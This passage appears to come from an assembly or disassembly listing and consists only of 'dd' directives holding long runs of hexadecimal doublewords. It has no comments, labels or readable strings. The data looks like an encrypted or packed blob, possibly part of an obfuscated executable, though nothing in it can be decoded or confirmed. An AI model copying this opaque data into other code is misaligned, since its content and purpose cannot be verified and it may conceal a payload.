22008806h, 50EC815Dh dd 0C9514FEAh, 8880E33Bh, 0FD31F1C0h, 7779397Eh, 26F91DD4h dd 0F46A15BAh, 24730408h, 0F20B4914h, 5BA57C0Ah, 49EAF009h dd 69F12154h, 806335AFh, 3E172478h, 74B96079h, 4003734Ah dd 48D6102Eh, 0EAC8E81Ah, 0F14D49D1h, 89DFF29h, 69051E21h dd 83327CC5h, 9814C4BAh, 3FE7021Ah, 6FEA3099h, 5DF79048h dd 5B02250Fh, 0C193E781h, 0C7600637h, 646AEA16h, 0C9B9269Ah dd 23A840F1h, 651EBC5Bh, 5039C302h, 5488C08h, 88538992h dd 1590EE08h, 551BD110h, 0F903E022h, 54ADC0E1h, 875CB403h dd 2D3F7D4h, 0EACCFF08h, 43668BB5h, 0DD695103h, 0F11E0A1Dh dd 1C9450A2h, 917B8289h, 231088CEh, 7F096987h, 2672B4Bh dd 40AE006h, 0C596C456h, 0C78365Dh, 5D0D609Ah, 7D740C69h dd 1DF8534h, 4416140Fh, 742A2FEAh, 0C8CBF229h, 0BFA4247Ah dd 4004F5CCh, 0A02BC77h, 232342Ch, 1F7160D9h, 5060820Eh dd 393F3B0Dh, 5EEF0F48h, 7DB7E557h, 0E30B485Eh, 4C24163Ah dd 0C28E3227h, 17A7E6EBh, 3FBDB056h, 5E60390Dh, 0E7EB19DEh dd 608A62F9h, 0AAC0DFF8h, 63B48BAh, 0C7097E54h, 6FBF41h dd 0D17CFC7Ah, 0E8C2131Dh, 3E2C0008h, 0D262BA32h, 0FE10F060h dd 0B8B62A73h, 0FAFF49D0h, 28B7ED01h, 0D881463Ch, 6A001A56h dd 14F75571h, 61E8E924h, 8F5A2A5Ch, 0A3BFE704h, 14017B3Bh dd 0C7886134h, 0F8D05058h, 7F223068h, 241C891Ah, 0E9451CDFh dd 20D054EEh, 72B4C1Dh, 0AF78170h, 4755437Eh, 6183DFB1h dd 2618823Bh, 40298D32h, 66D10D7h, 97E94DD2h, 0F6244440h dd 21BFCD1h, 8966810Eh, 0F7689885h, 0E93E4361h, 101D328Ah dd 60CC5345h, 200E52h, 805A66D4h, 0E4C001ECh, 0F4060276h dd 8BE588E7h, 44E9104Ch, 0FA097A43h, 8028585Bh, 66D0304Fh dd 228DA38Bh, 89300484h, 0FD6C363Ch, 2490E3FFh, 4112A60Ch dd 0CF6DB83h, 59D86CDDh, 5D64E917h, 81145C2Ch, 87341DEFh dd 34A5835Eh, 10EB6618h, 1EB56818h, 8D3AC609h, 8067116Dh dd 478CBA9Ch, 1F8112B6h, 0C35819CAh, 6039E905h, 4A263Eh dd 214238C2h, 3DD5096Eh, 0C500455Ah, 38019BBh, 82E7B0E9h dd 2C3832Ch, 8BAA8687h, 0D36630B8h, 0CCE99CCCh, 35F2D660h dd 0F8CE3977h, 58C60629h, 0B734875Ah, 9B5492CAh, 924AE984h dd 5152331Eh, 8BE109C9h, 87D78944h, 0F2ECFA4Ch, 8BC45083h dd 0BA784047h, 0B0566F3Fh, 4E44BE75h, 0F70818C9h, 50E904D2h dd 0E08999A8h, 9768560Ah, 0E961BD27h, 10842AC9h, 8241B450h dd 0A0B8529h, 664F2770h, 0F0A19A8h, 5E1C7709h, 5CE55A2Ch dd 0F9C504F4h, 0D55D81E1h dd 12354188h, 5C1F105Ah, 8862F068h, 0AC077BEDh, 0C7835253h dd 1541FECh, 4711CDF1h, 0D1A0201Eh, 97E358h, 5F162028h dd 2AE9DE01h, 839B7E0Ch, 10C3C1h, 3904BE95h, 0DEF740F8h dd 4800ACB8h, 1A9F4A4h, 505EF3h, 0D27830B8h, 2F0EE968h dd 0C8BD46C0h, 0A0737959h, 484CEFFAh, 6101055h, 61680A58h dd 90689E31h, 6009BD68h, 559F806Fh, 0D10BCBDh, 0E5D161B6h dd 0F73F44Ch, 4F0C1E6h, 83A161E7h, 3559E418h, 960C002Ch dd 293C513Eh, 0CAE65DEAh, 62EDC1A0h, 788CC44Ch, 56E9590Ch dd 2458723Eh, 0C944C29h, 0AE084481h, 0AD75005h, 0F95403E9h dd 0B71C2AB8h, 89530215h, 1F69A2h, 50A1BEADh, 947052E2h dd 3AF90129h, 0CBDD06B0h, 9D3D4BAFh, 0BA09236h, 2097A960h dd 0C14C0C4Fh, 3DB202EAh, 5F400E04h, 0DEC2F181h, 0AA9C4097h dd 605C8186h, 83908BCFh, 6B89F980h, 9D4E50D1h, 806EB94h dd 0E55CFE9h, 0C3E415Ah, 33107AFCh, 314D2D90h, 5C73104Fh dd 0D830AC01h, 0ED74B252h, 875A349Eh, 6ABD2C49h, 0AE34872Eh dd 7E053203h, 15EC03Ch, 0F48DA0C8h, 13AF052Ah, 0F03E6C1h dd 28E5648Eh, 0CE090018h, 770B6BBEh, 249F0881h, 3132C082h dd 595EF029h, 82120548h, 8A74FF50h, 65BC88D5h, 415A0584h dd 526B330Ah, 0D10700Dh, 5B5415F4h, 4A94A497h, 5F5A48C1h dd 0B6A2B702h, 800417ACh, 9C304183h, 59CEE1C1h, 125AF0D8h dd 510D43E9h, 5314472Fh, 10E62BBh, 4D72E9D8h, 416AF613h dd 35D454FCh, 510B4356h, 220C8BC1h, 0C18114F4h, 0E9797927h dd 0C6A6877Fh, 0F36ACBF2h, 4C038440h, 0DAAA805Eh, 89216840h dd 0B0DFE4C3h, 0F8210939h, 4384FF5Fh, 8E238081h, 277A992Bh dd 3DEE04B2h, 9D250983h, 0CE885966h, 0A0FE1D56h, 0DE2E21F6h dd 8703715Bh, 0CF05941Eh, 7DE95FF0h, 0C5ACA990h, 33060809h dd 316C2690h, 0A45C0D06h, 99E9310h, 0DD03CD01h, 7805E4F5h dd 6E04E2B0h, 20A8C014h, 314B7626h, 0F7336822h, 4D9B365Eh dd 32B04876h, 19C28D10h, 24D10414h, 58002906h, 0A191C481h dd 0A21F18Dh, 0BBF13A5Dh, 4882E655h, 8A1E882Eh, 55201222h dd 68660F6Bh, 0F42638CDh, 5B7F120Ch, 0C8D7534h, 0D201194Ah dd 5C606329h, 18C8BF0Fh, 5D197C68h, 29803F09h, 0A94EC5D9h dd 0EE0192E7h, 25F04FE1h, 7046F60Ch, 68205C9Ah, 20369877h dd 8AA086D8h, 52E1ABCh, 80EC334Ah, 1DEF00B8h, 0D8F727E7h dd 4F036F35h, 0C33137A7h, 7859C58h, 0CFE6E200h, 12DD866h dd 4D93458Dh, 4005F001h, 0C0095E07h, 2B850F09h, 99A5A87Dh dd 113C5B01h, 23248943h, 0CF5444DEh, 0B10ED0Eh, 97E7C326h dd 0E009B258h, 2C729CEBh, 185E6CD4h, 0C62D2E82h, 5BB77509h dd 83D10401h, 36339F83h, 0D0631F6h, 29A5C58h, 3D2744BAh dd 0B9FC121h, 89EA7183h, 42E2DB31h, 1C2D1640h, 6CEF8326h dd 3B70BD00h, 0AA6BE933h, 43FE02AFh, 0CB870058h, 8C0D9F7h dd 6A4EF381h, 6029EA3Ch, 0E9C692D8h, 0B49A84E0h, 4352C0Fh dd 2A7F4663h, 8EF20F7Dh, 887A6566h, 45B0BE83h, 6B978600h dd 0D6295E28h, 0C589585Ah, 1B9E90Ch, 0C80CE23Bh, 2E790367h dd 0FCDB1F84h, 5AD3C987h, 0CDE96BA2h, 0C2883568h, 25FBD1E4h dd 9707A0FCh, 7EAE3990h, 49426E22h, 4A9F9DE2h, 0BBE024C4h dd 883BBC1Ah, 0FB891E10h, 74F1E5A1h, 0CD77FEC6h, 52F72624h dd 0D33CC794h, 91EFE10h, 105DEF29h, 8090ADDDh, 0B590FE88h dd 8324E492h, 8F2AEFC0h, 7FE7B900h, 0F1314469h, 0D4EFA05Eh dd 460C0B06h, 9EA8D121h, 0D9EF636Eh, 6EA14B5Ch, 0A6E66F8Eh dd 0B11AF2B4h, 70FC0310h, 95EF29B3h, 31BA8E73h, 0BAE90C83h dd 24565534h, 0CFA45E54h, 1CFC19DCh, 29877051h, 50980A8Bh dd 15CC15B0h, 0F639CD58h, 5FC80B7h, 370984CBh, 8CC3E05Fh dd 654BE468h, 0E9B18F37h, 688EEE50h, 3DE696B6h, 5948224Ch dd 217F1EA6h, 440C6A5Fh, 58FE1828h, 0D1271C8h, 54F83145h dd 80168858h, 64B81533h, 7AF07010h, 3951BB00h, 0C787BD30h dd 0E5354CC2h, 2E495F03h, 85B72924h, 520818EDh, 8007BBAh dd 0D501564Fh, 92EB295Ah, 515D0B04h, 7932E189h, 9F2A060h dd 0A9380724h, 964B3000h, 0B0D3F754h, 13321CDCh, 1A6C60h dd 2E056A3Bh, 0ECDCCB01h, 0A73372C5h, 8EC3C300h, 0FE8048C8h dd 0BEE93FD9h, 20763659h, 29245432h, 220771DAh, 8239FD64h dd 1D086A9h, 2002EFC1h, 6F5818F6h, 1C8B85E7h, 474BCB75h dd 38E98CE9h, 40D40B2Dh, 0B186663Ch, 0C31E2727h, 245868h dd 0BC8255EBh, 0A2C1C230h, 0B9A1807Eh, 49651E19h, 50BADEF7h dd 7A582C8Eh, 58581210h, 1F3B6810h, 714CF021h, 178080EDh dd 1E665BCBh, 0D33F38E8h, 7B0F9127h, 8BF5EBC7h, 5810DE0Dh dd 0A1925483h, 0D6964B99h, 56EF230Dh, 81B83241h, 99FE37B4h dd 0C2EE70Dh, 0BD6AD952h, 0CC738F51h, 9287FE40h, 8D959601h dd 2168E5EFh, 742CE9CCh, 859CBBC1h, 51D97A0h, 0C3AEC630h dd 0AB5AF30Ah, 0A6098A28h, 20FE4CE9h, 3F91BEC2h, 4B537BA1h dd 66FA01F9h, 6002B60Fh, 0C4E07C9h, 5FE9F742h, 29FA0C64h dd 7C283713h, 0A5EC401h, 86038BBh, 147A09CAh, 0D78A666Ch dd 23090C13h, 0EE01FA26h, 0D1892F63h, 3FE345E9h, 0F6034E84h dd 625C1350h, 2540C09h, 912F0229h, 0C220EA87h, 9176882Dh dd 383A8149h, 3420572Bh, 507A205h, 0EB88E7EDh, 3A451234h dd 138501F2h, 0ED0F4D68h, 44DC385Dh, 0A8A15AAAh, 4128F71h dd 52590036h, 487E6850h, 0E9C54112h, 5B040E5h, 0DA53A3Eh dd 3FA23501h, 0C2019087h, 0A509CF54h, 29CA99Dh, 40781BB1h dd 803ABCA3h, 0C119DDF7h, 830A07E5h, 10934421h, 0A40D0008h dd 9A71D59h, 185DEB3Eh, 4BE07E3h, 0FE3F0977h, 0AB23DE89h dd 12F4A2E9h, 723A0801h, 0F68E4B61h, 45A62FA5h, 3960B45Dh dd 0B35AB124h, 6A6AFE0Ch, 643F9CE2h, 5805A534h, 0D360663Ch dd 93E99C08h, 9632D0CEh, 51D610h, 711189B9h, 1350BB39h dd 5338F854h, 0EEE75F2Dh, 0C8A53C30h, 0DCC7D71Ah, 0F1930113h dd 0BD690E5Fh, 25A91E2Bh, 14A3500h, 289006A6h, 0A2D06F04h dd 8EC12903h, 8024EE31h, 254CB056h, 0A912C681h, 8CC00629h dd 0F849ECE9h, 0FC6C300Eh, 7DB71E55h, 68E35968h, 12BE164Bh dd 0F256D7B8h, 0E9021342h, 0D9EA0A7h, 0DE651Bh, 70F22509h dd 160568E4h, 58BC6201h, 932DD0F7h, 267E7FC8h, 946C501h dd 38E836F8h, 524CDE87h, 553025Eh, 8FBA341Bh, 2996C2D9h dd 0EACF60CAh, 363C133Ah, 1B7D46Ah, 65246680h, 0A9283041h dd 113ACA13h, 215A3E05h, 0E9C1EB80h, 0E2685107h, 0F9C4CC3Ch dd 7E2DCE88h, 18555888h, 2630A9E9h, 300ADBDh, 57BA0C43h dd 0C0F3BCFCh, 451F6192h, 0A0ED0171h, 0E9260882h, 6885A892h dd 0D0A25BA8h, 690ABF00h, 0EF81108Ah, 7C4C380Bh, 0D965806Ch dd 711E3054h, 17ED904Dh, 9607AE7h, 44A41B11h, 7D388154h dd 0F0654845h, 24684240h, 67D064CFh, 0C9E54455h, 172CA4D2h dd 5812966Ah, 968EFA37h, 6C5A5CC2h, 7ACF82BCh, 0A9B349Ah dd 8119805Fh, 0B012CEF1h, 6A12D467h, 0E92E4E09h, 809E0C84h dd 4FACA54h, 9744257h, 994D41C4h, 7042400Bh, 0BE7817B2h dd 93F2A0Ch, 83155853h, 6857D100h, 507810C0h, 17B3B05Fh dd 4714E903h, 72E0B060h, 0CD526B52h, 9A44C30Ch, 19A00C4Ah dd 86255018h, 0D8C0056Ah dd 48474513h, 1A7F737Ch, 5A61E540h, 50F7B187h, 0E93DF816h dd 318AD954h, 0B733B0CCh, 0F0285849h, 4BD20492h, 0A2BD0E54h dd 0E027C40Bh, 1D10E369h, 0B2C13996h, 0DBA0ABB2h, 1E2DFE05h dd 0EE32E77Ah, 61561423h, 46E64255h, 0E5B13DC1h, 0DB491618h dd 272C0DE3h, 0EB0B38B3h, 0D4190074h, 325BDD31h, 6898E801h dd 7C4BE00h, 8903157Bh, 5E2BB6F1h, 0C9023BF3h, 530B3E64h dd 2743EC80h, 0E91349F2h, 6E47147Ch, 315FAD1h, 94DF8DA4h dd 150225D2h, 0EA60575Ah, 0B8833570h, 4881E789h, 0E0C439C7h dd 6310948h, 0F6063384h, 16ACBA27h, 4AE1F65Ch, 0A7F6CCB5h dd 305B0832h, 3DAE6880h, 96581697h, 51500B5h, 7ED5E94Eh dd 0CBBF75C6h, 0DFF728A6h, 0D10439E9h, 990EBDC8h, 296086B7h dd 0E2E95FFAh, 0C193EBDFh, 125C7E98h, 30257868h, 0E92EB763h dd 14161D32h, 67B0DA5Dh, 1F5E6F88h, 0E202C144h, 26279324h dd 0D2880444h, 1A3930E9h, 45C1BB4Ch, 433D0200h, 4EDDC381h dd 0E9B10D06h, 2228B65h, 0B5484DBEh, 67681768h, 0A024EB99h dd 7E8F3F1Fh, 80CE297Ah, 2097E69Bh, 0C13801FDh, 0B7E906EEh dd 90A6ADCCh, 9E4490F9h, 0E1C4E9E2h, 19D71D6Ah, 70C4ACC9h dd 0F7B0543h, 99CB3144h, 0D55DA26Ch, 3F5B5158h, 110294BDh dd 302601D6h, 0E6C108D0h, 4B6F9496h, 0F1C43329h, 0F0AF3DDFh dd 453DE314h, 4051D310h, 2512EDE3h, 35003F14h, 35380A5Ch dd 1CF76829h, 141C3408h, 87E17F14h, 8BFA683Ch, 7F6CE8B8h dd 62DDBC3Fh, 5A011D3Ah, 0D520EF80h, 7F5B7EF8h, 0E9D609CAh dd 0E9446ECCh, 45257090h, 4FBDA42Eh, 4C0F1083h, 0D3260810h dd 415317E6h, 0EBC158FAh, 0B2A94205h, 0F708F860h, 2C7D948h dd 0D2E44C9h, 63EB5901h, 0D704D821h, 15A2685Bh, 8430812h dd 0C48A5213h, 137D6110h, 5906DA29h, 0FEB82B3h, 0F8315DEFh dd 0A942CA4Bh, 689A8E82h, 1B3EE210h, 9E0177B9h, 5B080CF5h dd 9D91021Eh, 1A663542h, 0E92AE396h, 73E9F051h, 960C25C1h dd 0F5C4C00h, 7D68C805h, 0CBCE6149h, 6A25C9h, 5D5390FDh dd 30C31458h, 18F3BB22h, 0E27B0C58h, 0E5AEDD09h, 2835E607h dd 8999F771h, 2B7300D2h, 28EB2946h, 20968F5Dh, 0F70180ECh dd 3CC50DD8h, 76F07247h, 8888B461h, 880E10E5h, 0EDF44AFEh dd 3083C60Bh, 80858CB0h, 5E2CF229h, 7688AA87h, 0C6010117h dd 68219E68h, 43E0C0A0h, 645029A8h, 8758E8FFh, 30036D10h dd 0D6B859BBh, 37786Bh, 4E5BBDFCh, 2D7309EFh, 0AE0E2953h dd 1805E865h, 88C9B207h, 3505E80h, 35616856h, 0F0C52EF7h dd 9B03F64Dh, 89D108CAh, 0A4E9D9F0h, 0D029C651h, 3D2E08Bh dd 0E422F712h, 350FD96Bh, 9AB52CCBh, 0E8864C09h, 0D3CFBEFAh dd 2822CB22h, 2F49E352h, 0CCDD6B3Ah, 14784938h, 0A205E54Ch dd 0A1161208h, 49A53857h, 631361Eh, 93EBB30Ch, 6816C058h dd 98AC6746h, 0C1923199h, 0C6C315D4h, 0F8190074h, 515B4904h dd 2805B3B5h, 0AC2C59E8h, 2DE9ADD8h, 683A58F6h, 0A3A8F771h dd 5AC0F161h, 742CD5F7h, 12CE8A4Ah, 0CA86D6E9h, 202490C5h dd 0B62876A2h, 0C4B28495h, 6AB85005h, 0EC0D1952h, 114025E7h dd 5F22814h, 16FEBB70h, 93FDF1AEh, 0C600AD21h, 354F03DCh dd 1E55E242h, 4048A9BDh, 5E5C157h, 510DF581h, 0AC496907h dd 1041696h, 1D3E7DC7h, 9B1E2ABDh, 9C9EF240h, 1705379Dh dd 42D525Fh, 8C633103h, 55485D7Eh, 277A2775h, 3200CD95h dd 28BB5322h, 0B0C25413h, 39315EE2h, 429A32F7h, 3822591h dd 94EF88A9h, 170357C1h, 4B6602h, 89F51A5h, 12C3680Dh dd 0F11A544h, 0D6F78581h, 25C00752h, 8042C768h, 0CBA7DE9h dd 0DC2BA04h, 82C23577h, 26FC7805h, 1391E47Bh, 0D2DFC604h dd 0B44CDA17h, 2729CC4Fh, 704E2ADFh, 2BC6F825h, 0A5B6C3F0h dd 28B5EBE0h, 29623F1Bh, 841E5F8h, 99EAA6E9h, 142B5FACh dd 964A0432h, 585B5232h, 0CAA32D44h, 0C7588813h, 0F9435741h dd 83E31A77h, 148427E2h, 8BF6D537h, 0C8335C1h, 0AB30ECF5h dd 0FC3413ADh, 0E0BA013Eh, 607D0830h, 5A7BE9BFh, 0C6FE5FC4h dd 4E602414h, 56400207h, 33EF012Ch, 5E13F92Eh, 0E8C1F120h dd 0F3314C08h, 47721018h, 0FBD3332Ah, 305F114Dh, 7CE9EE4Ch dd 806CBC0Fh, 4B0E7D92h, 0D7AADAF7h, 0EA701758h, 0A4E68505h dd 569193E9h, 84DCFD31h, 8992B487h, 64662241h, 23306817h dd 0E954B330h, 0B8E369C5h, 7A26AA65h, 0B06A0809h, 3C7E38E4h dd 423B0EBEh, 6FD98B3Dh, 0C14A29C7h, 5CDF18E9h, 9FAA5FD8h dd 0F25DF185h, 978BD44Bh, 0BC89D0Fh, 42DB8651h, 3EE3853Bh dd 47797C93h, 30F0B020h, 8853E2B4h, 2710E748h, 0C4869AEEh dd 4B577E98h, 0D54814F1h, 0D8EE5D6Bh, 2CE90244h, 489B63DFh dd 350303E9h, 1E82504Fh, 1490B4F8h, 3ADA9725h, 0BE06D02Dh dd 0E90D6CB3h, 2FD82830h, 123C1AC3h, 0A0890C40h, 0FD75F623h dd 70090A4Ah, 6861213Dh, 0C5541E20h, 88812182h, 8B0A35ABh dd 50E0C42Ch, 0C1F4A1E9h, 94D1F767h, 0C8B16013h, 8B177F9Eh dd 3D2B633Dh, 2EEF692Eh, 2893CC3Eh, 44D95704h, 20585B07h dd 0D2F6CAFEh, 6D6852F8h, 0EE09B718h, 277C6576h, 59DC2100h dd 0A090221Ch, 5A13679Eh, 4DB64784h, 68404F3Dh, 2173EC2Ah dd 0AD9244FAh, 0AC2B901h, 0C18365FEh, 410EE45h, 0D78712EEh dd 50089B19h, 1953DB30h, 5845E963h, 0ADAD0456h, 0F13664h dd 0AE779ABEh, 8284BE28h, 6CD146D5h, 52344CC0h, 0E07AB025h dd 245908A6h, 8CA5C0E9h, 1510CB31h, 0B829D440h, 0C3892F01h dd 7A850280h, 0E39025E4h, 8146B09h, 220D81Eh, 0E9FCE6B0h dd 49EC1610h, 6F86812h, 0DC413E89h, 0CC4D5559h, 0F162C32h dd 0A6B991BBh, 81BB38C4h, 9854DFB9h, 5912DC68h, 0D017F35Dh dd 8983C823h, 0EF715450h, 74E290BEh, 0A96FF958h, 852044h dd 7102CF81h, 0B0144C7Fh, 0B215AC04h, 44230072h, 27E96CA2h dd 28495EF4h, 0B12C4138h, 1C765610h, 9E1AFF05h, 6CB3317Ch dd 0A7CD294Bh, 80F34E0Ch, 0AAF9794Dh, 31B4C087h, 685B09D8h dd 88985E98h, 364877E9h, 45B836Fh, 2CD881EEh, 3C1FF1D3h dd 0D84A8A27h, 0D165CD77h, 369C5D62h, 2E68ECEDh, 69D666D7h dd 7BE94B10h, 0FDA37054h, 3328A9B3h, 0F5567400h, 96C9817Ah dd 3950243Fh, 0E94104E6h, 0C59EC6Ah, 601EA80h, 362C3EB5h dd 88695896h, 422A689Eh, 72A03D06h, 9383ED49h, 9183D777h dd 0AC0E45C3h, 9A3790E0h, 4AD77F7Ah, 0A5575008h, 0EE74B504h dd 23AC46Fh, 12DC6856h, 41BEA499h, 0A7F52913h, 34234557h dd 0C53EBD0Ch, 0B6C9E889h, 0ED586826h, 0B7721A00h, 96FE96Eh dd 0E69A37ABh, 80951DECh, 79095EA9h, 51898229h, 2C0B7088h dd 0B8E23C2Ch, 0DB1A754Dh, 0DB1E2F9Ch, 2A4AE090h, 6109129h dd 0AD1C209h, 413C68E2h, 98677B55h, 0F199EE8Ch, 1FE62EF0h dd 2BC84B72h, 6704378Bh, 6B75E8C4h, 0F9F70585h, 695DAA52h dd 0E94886BCh, 1228F5F8h, 175A665Bh, 0B7EF305Fh, 38482C55h dd 5BE87A70h, 2AB1511Eh, 29E9C802h, 3FC1FA75h, 3585F91Fh dd 8114BCEDh, 593C6B99h, 0BFBA3075h, 6C642990h, 14E4F7D3h dd 0C0D54D8Fh, 0C079234Bh, 57FE1E79h, 0F3D1C26Fh, 0C010A78Eh dd 474350EBh, 319EB3F0h, 53595407h, 667E0682h, 9FBB6B14h dd 255CCC80h, 12D115Ah, 81FBA2D3h, 6B27D4DEh, 0DF603DE2h dd 0BFC963DDh, 0A434F9D7h dd 0E46E0328h, 0FEF12D39h, 3150F6E9h, 0C175F7EAh, 6E7FA9EDh dd 89E85949h, 9732EB01h, 156AFE7Ch, 4E9B864Ch, 882A74FCh dd 605A805Fh, 0C9439A45h, 76E4F15Dh, 84490C3Dh, 0E02AE74h dd 5368AE56h, 3C20404Eh, 3389E94Eh, 0E4C68BCEh, 97C88165h dd 0C4720420h, 0C4CF292Ah, 0E90802CEh, 58796660h, 0EA0B549Bh dd 4B5BD082h, 0D1693587h, 20C931h, 9AE654E9h, 4FF3021Ch dd 89AC17B5h, 0CB70D478h, 0FCAD9C97h, 0C45FD04Eh, 5E75C28h dd 5917191Eh, 12D07421h, 76E06B3h, 0A0002848h, 812E9057h dd 454CBF2h, 0EAC14E4Fh, 660EE008h, 6292112h, 22D7FAD7h dd 0DDC7B5D3h, 0EF852D37h, 7B7C9000h, 34E93282h, 0AC985D71h dd 2E307887h, 0F9CBDFEEh, 693D1931h, 0C642864Bh, 6AC1A042h dd 0DEC56D15h, 0F03B61DAh, 29B430CCh, 25CFED25h, 3101ACE2h dd 0E7C15DEFh, 80204F08h, 0FD31FD87h, 0F5E90889h, 50585820h dd 96DD8AB0h, 346809Fh, 20AD9F6h, 59CA88F4h, 6D93D030h dd 0C548C3C2h, 17256866h, 8DD2110Bh, 0C2D525EFh, 54429249h dd 3F4E8976h, 5FE05F27h, 761B5E10h, 8E8D001h, 0E9B0F25Ch dd 0B8B3727Ah, 5AC57B0Dh, 9D107563h, 505A7E7Dh, 89C72490h dd 74117DFBh, 975F7329h, 4B2B40ABh, 1511A05h, 0E8A1E249h dd 112B6992h, 326B3FF2h, 1F72E040h, 0DCC07A5Ah, 76DD7046h dd 95E20134h, 0E91C3B32h, 18E13CC1h, 0D682CF01h, 6A6D2705h dd 0B9067494h, 70596B11h, 8AD1A32Ch, 0A4BC5948h, 5568C2C1h dd 0E3C01FCAh, 53800F7Eh, 4FE209BBh, 2480507Dh, 11D95965h dd 0C1D3F702h, 0D05307EBh, 4B5B179Dh, 83001356h, 9E485F43h dd 24E8E43Ch, 35385727h, 4A4AE95Ch, 5451A306h, 74DD20B2h dd 36F9BA00h, 0D08921A4h, 0EC38E95Ah, 81777493h, 20135C6Ah dd 360E3B1h, 79B19CB6h, 0DF010967h, 4888835Bh, 0FCE94240h dd 625CD369h, 0F75F68F9h, 5D001610h, 0EE81CE29h, 0A0121835h dd 0F2B45938h, 39692DAh, 512EADBBh, 0B88C437Dh, 0D71180A5h dd 9A018892h, 0E1839033h, 27E52DC0h, 5CE18D77h, 4C69A528h dd 16BF0928h, 3C50344Ah, 5DE82113h, 4A84D7E0h, 77EF90F9h dd 120E928h, 14F993F6h, 805A2851h, 1D600D70h, 0CA811B1Dh dd 31D31F5Ch, 6103E392h, 4024054Bh, 1F800B5h, 5AD18971h dd 3AEDE6E9h, 30EF2F30h, 5D1D3F3Fh, 79608A27h, 806CC0B1h dd 58750646h, 5F16E020h, 6DD8B16h, 41DC1F01h, 48B50A0Ch dd 1980C70h, 4BC764E2h, 0C6E9F001h, 65EF099Dh, 0F5013BEBh dd 7B7753D9h, 92B2701h, 0C81AD3E9h, 80FA173Ah, 0F71E8166h dd 0D489576Ch, 0D01FA5D2h, 742F6E9Dh, 0A2C2EC8Eh, 7E2A055h dd 2DE960BEh, 756F775Bh, 30BE2B08h, 6DB5BB3Ah, 809D2075h dd 292FE39Ah, 0D1183B84h, 3225E258h, 0AC76E932h, 0EA2DCA32h dd 65DED969h, 7D88C1F6h, 0F2C5127Ah, 40459065h, 0B0985C63h dd 2F61BE2Dh, 6033C9D5h, 70C680DAh, 0EED5E741h, 0E46160D6h dd 0CB298069h, 6A5ED4A2h, 9257B42h, 1E0BF680h, 0BA7D3353h dd 0FBC00BD7h, 5BE9D001h, 0BF8BC39Ah, 3D2E50D8h, 0B2DBD31h dd 28A6FD31h, 21AE267Dh, 1CC11799h, 828392A5h, 9C8052F3h dd 16AC0C1Ch, 0C99D4351h, 0AD9F41DBh, 6073FD22h, 23051CE9h dd 3DE93A0Fh, 974261F0h, 14AC4E00h, 6E9022C5h, 5A352602h dd 96D73102h, 4923B4F8h, 0A9713E85h, 3A790404h, 9B01402Ah dd 836C1A0Dh, 0E1483E18h, 820C06FDh, 665E7603h, 0D36B1718h dd 82C129C6h, 0B8307546h, 15EB5946h, 789A2935h, 2D0820B2h dd 950113E9h, 2C6BD568h, 3D49D2D4h, 52F92C55h, 0CBC60FAh dd 6678132Dh, 5C84E65h, 77E90704h, 265861E0h, 3D8EE1C1h dd 7CE1400h, 2BCB0532h, 20087AEFh, 6AB6096Ch, 289C0500h dd 4395AF0h, 0E9A60FD9h, 4ED9B7BFh, 9E527CF5h, 898D64CEh dd 4C7BD2E5h, 8FA3A923h, 5B624750h, 672D84B6h, 0C1E7AC4Dh dd 38A2E953h, 54570067h, 45BE565Fh, 1746176Ch, 0C1070E83h dd 74680267h, 2FE9F330h, 9083F033h, 0DDFEE477h, 87D64F08h dd 3F0A0013h, 17E459Bh, 0AC3FCD96h, 34035B5Eh, 0F7746467h dd 0F3E9DD91h, 5A16CD3Ch, 0CBF61259h, 958320F8h, 0BC2B7B30h dd 0F46C1BB5h, 0F0D41C10h, 1C722810h, 0D01FD62Ch, 1B884FBAh dd 0A5394C5Fh, 47F0CEB3h, 0F6F84576h, 29C64104h, 72E489DFh dd 2FD259E9h, 618F614Bh, 0C7A36C4Eh, 4F3458FBh, 2DFDC8A1h dd 735AC310h, 0B539493Dh, 0FB0135EEh, 4B62BAD5h, 824F6738h dd 8270DF73h, 70BA6877h, 4752C2F4h, 7090034h, 0E8C17E23h dd 306C002h, 1905D0F7h, 7F163A1Dh, 0AC7C9240h, 4A2D67h dd 0C1AE2A3Bh, 0E94803E0h, 0BF85EF60h, 144A2011h, 0DBF90133h dd 206AD124h, 0D75A4A0Bh, 0BB6BA193h, 0C12EC6FFh, 7DA930C9h dd 0DE538E42h, 0BD75825h, 312D6681h, 0A5A9E626h, 0D222E366h dd 0BB3A2214h, 36A5CE05h, 0E9054912h, 0C2B7D4EDh, 20F724Fh dd 0E3123324h, 0ED849E0h, 16E92FB7h, 0CC581B4h, 388F7EB2h dd 601F920Ch, 0ED011D94h, 78E7364Ch, 4FE9A930h, 0D46F85E1h dd 613AB4ADh, 14CFF64Ah, 360F277Fh, 32DE5927h, 0BE5166F4h dd 0C90080A4h, 0E9153107h, 0D1F85AADh, 3C1FCFA1h, 39DC0B8h dd 60B96796h, 0C1810BA1h, 400A4C0Eh, 0D8F12973h, 16970820h dd 0CF01251Eh, 0B12A57C5h, 4B40F298h, 5EF1CC0h, 0D31BDE80h dd 509DA0C5h, 5BCBB805h, 0ED0206B6h, 0F070B2F9h, 1AE9178Fh dd 54008A3Bh, 62407E98h, 65680650h, 3445FC7Dh, 6619BA67h dd 0A226DA5Ah, 5ADED31Dh, 67C88F6Dh, 1C33DB2h, 180E645Ch dd 0A5F9346Ch, 9400F22Dh, 0CEFE8EB6h, 0EB58B498h, 0A5013FC1h dd 0E6774254h, 0A878FF9Bh, 0E75E87A2h, 96B9F650h, 81044F8Bh dd 3560F342h, 63E921E6h, 0BC4B3592h, 4BABD47Ch, 59A20BD2h dd 6FE80F0Ah, 60A72A0Bh, 4B1B50CBh, 0E313C176h, 0CC004302h dd 0A4C334BCh, 58F35829h, 714C7186h, 48A68CDCh, 0D1FB0BC9h dd 6B6AD2h, 7D4321EFh, 28D0DD01h, 0F78B5A08h, 0D2CD184Ch dd 6CCE430Ch, 0C380F50Eh, 36EB6068h, 0F2E7B753h, 65F60C7h dd 0ACB050FCh, 0E9E0D004h, 49A86809h, 45515EC9h, 695213BFh dd 1C8C6A64h, 5A4B40F2h, 1A07C798h, 89696C40h, 5E045CBh dd 8D76A0E9h, 68D05054h, 0BAA1108h, 97521461h, 32CD7294h dd 1B3319E5h, 45545C26h, 28DEB02Bh, 24ED048h, 0C058C308h dd 0B39243E3h, 0FE659F04h, 0BA80CDA8h, 0DA92240h, 0A10262B8h dd 0C156F675h, 12086BEAh, 0A05266D3h, 5D992C2Bh, 39D50900h dd 0FAFD292Bh, 0D11D5E88h, 74B8B2A4h, 0ED0FBADDh, 6920946Dh dd 5E119224h, 0EC1208D0h, 9E055901h, 0C0D2FE23h, 